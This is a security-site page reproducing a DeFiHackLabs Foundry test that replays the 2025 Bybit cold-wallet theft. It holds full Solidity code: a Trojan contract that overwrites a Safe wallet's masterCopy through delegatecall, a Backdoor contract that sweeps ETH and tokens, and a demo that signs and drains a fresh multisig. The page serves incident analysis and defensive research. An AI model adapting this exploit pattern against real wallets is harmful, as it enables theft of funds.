Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/Bybit_exp.sol

Public reproduction file for dataset entry Bybit.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/Bybit_exp.sol307 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20} from "../interface.sol";
6
7// @KeyInfo - Total Lost : 1.5B (401346 ETH + 8000 mETH + 15000 cmETH + 90375 stETH)
8// Attacker : https://etherscan.io/address/0x0fa09c3a328792253f8dee7116848723b72a6d2e
9// Attack Contract (Trojan): https://etherscan.io/address/0x96221423681a6d52e184d440a8efcebb105c7242
10// Attack Contract (Backdoor): https://etherscan.io/address/0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516
11// Vulnerable Contract (Bybit Cold Wallet): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4
12// Attack Tx (Change masterCopy): https://etherscan.io/tx/0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882
13// Attack Tx (ETH): https://etherscan.io/tx/0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c
14// Attack Tx (mETH): https://etherscan.io/tx/0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20
15// Attack Tx (cmETH): https://etherscan.io/tx/0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647
16// Attack Tx (stETH): https://etherscan.io/tx/0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0
18// @Info
19// Vulnerable Contract Code (Proxy): https://etherscan.io/address/0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4#code
20// Vulnerable Contract Code (Implementation): https://etherscan.io/address/0x34cfac646f301356faa8b21e94227e3583fe3f5f#code
22// @Analysis
23// Post-mortem : https://x.com/zachxbt/status/1893211577836302365
24// Twitter Guy : https://x.com/SlowMist_Team/status/1892963250385592345
25// Hacking God : https://x.com/PatrickAlphaC/status/1893215304135618759
27contract Enum {
28 enum Operation {
29 Call,
30 DelegateCall
31 }
34interface IMultisigWallet {
35 function getTransactionHash(
36 address to,
37 uint256 value,
38 bytes memory data,
39 Enum.Operation operation,
40 uint256 safeTxGas,
41 uint256 baseGas,
42 uint256 gasPrice,
43 address gasToken,
44 address refundReceiver,
45 uint256 _nonce
46 ) external view returns (bytes32);
48 function execTransaction(
49 address to,
50 uint256 value,
51 bytes calldata data,
52 Enum.Operation operation,
53 uint256 safeTxGas,
54 uint256 baseGas,
55 uint256 gasPrice,
56 address gasToken,
57 address payable refundReceiver,
58 bytes calldata signatures
59 ) external;
61 function nonce() external view returns (uint256);
64interface IBackdoorContract {
65 function sweepETH(address destination) external;
66 function sweepERC20(address token, address destination) external;
69interface IProxyFactory {
70 function createProxyWithNonce(
71 address masterCopy,
72 bytes memory initializer,
73 uint256 saltNonce
74 ) external returns (address proxy);
77contract Bybit is BaseTestWithBalanceLog {
78 // Poc
79 address public safeProxyFactory1_1_1 = 0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B;
80 address public safeMasterCopy1_1_1 = 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F;
81 address public safeDefaultFallbackHandler1_1_1 = 0xd5D82B6aDDc9027B22dCA772Aa68D5d74cdBdF44;
83 address public multisigOwner1 = 0x6cd5327027190eF45476D80B5D3BdE2E80f6aCbC;
84 address public multisigOwner2 = 0xe6A99c3869D6D0691CCe23E83b571A471Bac661D;
85 address public multisigOwner3 = 0x72F42564BE83B755720dBadC875cc919046A1856;
87 uint256 privateKey1 = 0x481823978ae08ec5f1793cd753c16f7887b56ae123dca7a4e799ffa6cd432a1e;
88 uint256 privateKey2 = 0x43cd2551585bcf96b2bc6ba97afcc2e0f3405b78c420a03b3d7a0f7fab5de249;
89 uint256 privateKey3 = 0x62ef4b669bbf0d728b538d790d995aeae4fda9503fdc275bda21bd07b9614fb6;
91 Trojan trojan;
92 Backdoor backdoor;
93 address public multisigWallet;
95 // Real Exploit
96 address public bybitColdWallet1 = 0x1Db92e2EeBC8E0c075a02BeA49a2935BcD2dFCF4;
97 address public attacker = 0x0fa09C3A328792253f8dee7116848723b72a6d2e;
98 address public trojanContract = 0x96221423681A6d52E184D440a8eFCEbB105C7242;
99 address public backdoorContract = 0xbDd077f651EBe7f7b3cE16fe5F2b025BE2969516;
101 address public mETH = 0xd5F7838F5C461fefF7FE49ea5ebaF7728bB0ADfa; // Mantle Staked Ether
102 address public cmETH = 0xE6829d9a7eE3040e1276Fa75293Bde931859e8fA; // Mantle Restaked Ether
103 address public stETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; // Lido Staked ETH
105 bytes public signature =
106 hex"d0afef78a52fd504479dc2af3dc401334762cbd05609c7ac18db9ec5abf4a07a5cc09fc86efd3489707b89b0c729faed616459189cb50084f208d03b201b001f1f0f62ad358d6b319d3c1221d44456080068fe02ae5b1a39b4afb1e6721ca7f9903ac523a801533f265231cd35fc2dfddc3bd9a9563b51315cf9d5ff23dc6d2c221fdf9e4b878877a8dbeee951a4a31ddbf1d3b71e127d5eda44b4730030114baba52e06dd23da37cd2a07a6e84f9950db867374a0f77558f42adf4409bfd569673c1f";
108 uint256 blocknumToForkFrom = 21_895_238 - 1;
110 function setUp() public {
111 vm.createSelectFork("mainnet", blocknumToForkFrom);
113 // Poc
114 vm.label(address(safeProxyFactory1_1_1), "Safe proxy factory");
115 vm.label(address(safeMasterCopy1_1_1), "Safe master copy");
116 vm.label(address(safeDefaultFallbackHandler1_1_1), "Safe default fallback handler");
117 vm.label(address(multisigOwner1), "Multisig owner 1");
118 vm.label(address(multisigOwner2), "Multisig owner 2");
119 vm.label(address(multisigOwner3), "Multisig owner 3");
120 // Real Exploit
121 vm.label(address(bybitColdWallet1), "Bybit cold wallet 1");
122 vm.label(address(trojanContract), "Trojan contract");
123 vm.label(address(backdoorContract), "Backdoor contract");
124 vm.label(address(attacker), "Attacker");
125 vm.label(address(mETH), "Mantle Staked Ether");
126 vm.label(address(cmETH), "Mantle Restaked Ether");
127 vm.label(address(stETH), "Lido Staked ETH");
128 }
130 function testExploit() public {
131 console.log("Real exploit start......");
132 // Print slot 0 of bybit cold wallet 1
133 // slot 0 stores masterCopy(address)
134 console.log(
135 "Before attack, Bybit cold wallet 1 masterCopy:",
136 address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))
137 );
138 // 0x34CfAC646f301356fAa8B21e94227e3583Fe3F5F
140 // Change bybit cold wallet 1 masterCopy to backdoorContract
141 changeMasterCopy(bybitColdWallet1, address(trojanContract), address(backdoorContract), signature);
143 // Bybit cold wallet's masterCopy is changed to backdoorContract
144 console.log(
145 "After attack, Bybit cold wallet 1 masterCopy:",
146 address(uint160(uint256(vm.load(bybitColdWallet1, bytes32(uint256(0))))))
147 );
149 stealMoney();
150 }
152 function testFakeExploit() public {
153 console.log("Fake exploit start......");
154 trojan = new Trojan();
155 backdoor = new Backdoor();
157 multisigWallet = createMultisigWallet(); // I use 3 owners for example (threshold = 2)
158 // Get transaction hash of changing masterCopy
159 bytes32 transactionHash = getTransactionHash(
160 address(trojan),
161 abi.encodeWithSelector(Trojan.transfer.selector, address(backdoor), 0),
162 Enum.Operation.DelegateCall
163 );
165 // Sign the transaction hash
166 bytes memory fakeSignature = signTransaction(transactionHash);
168 console.log(
169 "Before attack, multisigWallet masterCopy:",
170 address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))
171 );
173 // Change masterCopy to attacker's contract(backdoor)
174 changeMasterCopy(multisigWallet, address(trojan), address(backdoor), fakeSignature);
176 console.log(
177 "After attack, multisigWallet masterCopy:",
178 address(uint160(uint256(vm.load(multisigWallet, bytes32(uint256(0))))))
179 );
181 // I only demonstrate the attack on ETH
182 vm.deal(multisigWallet, 400_000 ether);
183 vm.deal(address(this), 0 ether);
184 IBackdoorContract(multisigWallet).sweepETH(address(this));
185 console.log("After attack, multisigWallet balance left:", address(multisigWallet).balance / 1 ether, "ETH");
186 console.log("Attacker earned balance:", address(this).balance / 1 ether, "ETH");
187 }
189 function changeMasterCopy(address multisigWallet, address trojan, address backdoor, bytes memory signature) public {
190 IMultisigWallet(multisigWallet).execTransaction(
191 trojan,
192 0,
193 abi.encodeWithSignature("transfer(address,uint256)", backdoor, 0),
194 Enum.Operation.DelegateCall,
195 45_746,
196 0,
197 0,
198 address(0),
199 payable(address(0)),
200 signature
201 );
202 }
204 function stealMoney() public {
205 // Only hacker can call these functions
206 vm.startPrank(attacker);
207 // Sweep ETH
208 sweepETH(attacker);
209 console.log("Attacker ETH Balance After exploit:", address(attacker).balance / 1 ether, "ETH");
211 // Sweep ERC20
212 sweepERC20(mETH, attacker);
213 console.log("Attacker mETH Balance After exploit:", IERC20(mETH).balanceOf(attacker) / 1 ether, "ETH");
214 sweepERC20(cmETH, attacker);
215 console.log("Attacker cmETH Balance After exploit:", IERC20(cmETH).balanceOf(attacker) / 1 ether, "ETH");
216 sweepERC20(stETH, attacker);
217 console.log("Attacker stETH Balance After exploit:", IERC20(stETH).balanceOf(attacker) / 1 ether, "ETH");
218 vm.stopPrank();
219 }
221 function sweepETH(address destination) public {
222 IBackdoorContract(bybitColdWallet1).sweepETH(destination);
223 }
225 function sweepERC20(address token, address destination) public {
226 IBackdoorContract(bybitColdWallet1).sweepERC20(token, destination);
227 }
229 function createMultisigWallet() public returns (address) {
230 address[] memory owners = new address[](3);
231 owners[0] = multisigOwner1;
232 owners[1] = multisigOwner2;
233 owners[2] = multisigOwner3;
235 uint256 threshold = 2;
237 bytes memory initializer = abi.encodeWithSignature(
238 "setup(address[],uint256,address,bytes,address,address,uint256,address)",
239 owners, // List of Safe owners
240 threshold, // Confirmation threshold
241 address(0), // 'to' address: no additional delegate call after setup
242 "", // Empty data payload (no extra call data)
243 safeDefaultFallbackHandler1_1_1, // Fallback handler for the Safe
244 address(0), // Payment token (address(0) indicates ETH)
245 0, // Payment amount (0 if not used)
246 address(0) // Payment receiver (not used in this case)
247 );
248 // Create a multisig wallet
249 multisigWallet = IProxyFactory(safeProxyFactory1_1_1).createProxyWithNonce(
250 safeMasterCopy1_1_1,
251 initializer,
252 block.timestamp
253 );
255 return multisigWallet;
256 }
258 function getTransactionHash(address to, bytes memory data, Enum.Operation operation) public returns (bytes32) {
259 bytes32 transactionHash = IMultisigWallet(multisigWallet).getTransactionHash(
260 to,
261 0,
262 data,
263 operation,
264 45_746,
265 0,
266 0,
267 address(0),
268 payable(address(0)),
269 IMultisigWallet(multisigWallet).nonce()
270 );
271 return transactionHash;
272 }
274 function signTransaction(bytes32 transactionHash) public returns (bytes memory) {
275 (uint8 v1, bytes32 r1, bytes32 s1) = vm.sign(privateKey1, transactionHash);
276 (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(privateKey2, transactionHash);
278 bytes memory sig1 = abi.encodePacked(r1, s1, v1);
279 bytes memory sig2 = abi.encodePacked(r2, s2, v2);
280 return abi.encodePacked(sig1, sig2);
281 }
283 fallback() external payable {}
286contract Trojan {
287 address public masterCopy;
289 constructor() {}
291 function transfer(address to, uint256 amount) public {
292 masterCopy = to; // Store the address of the backdoor contract in slot 0
293 }
296contract Backdoor {
297 constructor() {}
299 function sweepETH(address destination) public {
300 (bool success, ) = destination.call{value: address(this).balance}("");
301 require(success, "Failed to sweep ETH");
302 }
304 function sweepERC20(address token, address destination) public {
305 IERC20(token).transfer(destination, IERC20(token).balanceOf(address(this)));
306 }

Analysis

Dataset entry

Public Foundry test for “Bybit” (2025-02-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0fa09c3a328792253f8dee7116848723b72a6d2e

  • Attack Contract

    0x96221423681a6d52e184d440a8efcebb105c7242

  • Attack Contract

    0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516

  • Vulnerable Contract

    0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4

  • Vulnerable Contract

    0x34cfac646f301356faa8b21e94227e3583fe3f5f

  • Attack Tx

    0x46deef0f52e3a983b67abf4714448a41dd7ffd6d32d32da69d62081c68ad7882

  • Attack Tx

    0xb61413c495fdad6114a7aa863a00b2e3c28945979a10885b12b30316ea9f072c

  • Attack Tx

    0xbcf316f5835362b7f1586215173cc8b294f5499c60c029a3de6318bf25ca7b20

  • Attack Tx

    0x847b8403e8a4816a4de1e63db321705cdb6f998fb01ab58f653b863fda988647

  • Attack Tx

    0xa284a1bc4c7e0379c924c73fcea1067068635507254b03ebbbd3f4e222c1fae0

File record

Name
Bybit
Path
src/test/2025-02/Bybit_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
03e2d0ffcf344154813d74860276e90ff00758c7
Language
Solidity
Size
308 lines
Date
2025-02-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/Bybit_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 03e2d0ffcf344154813d74860276e90ff00758c7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.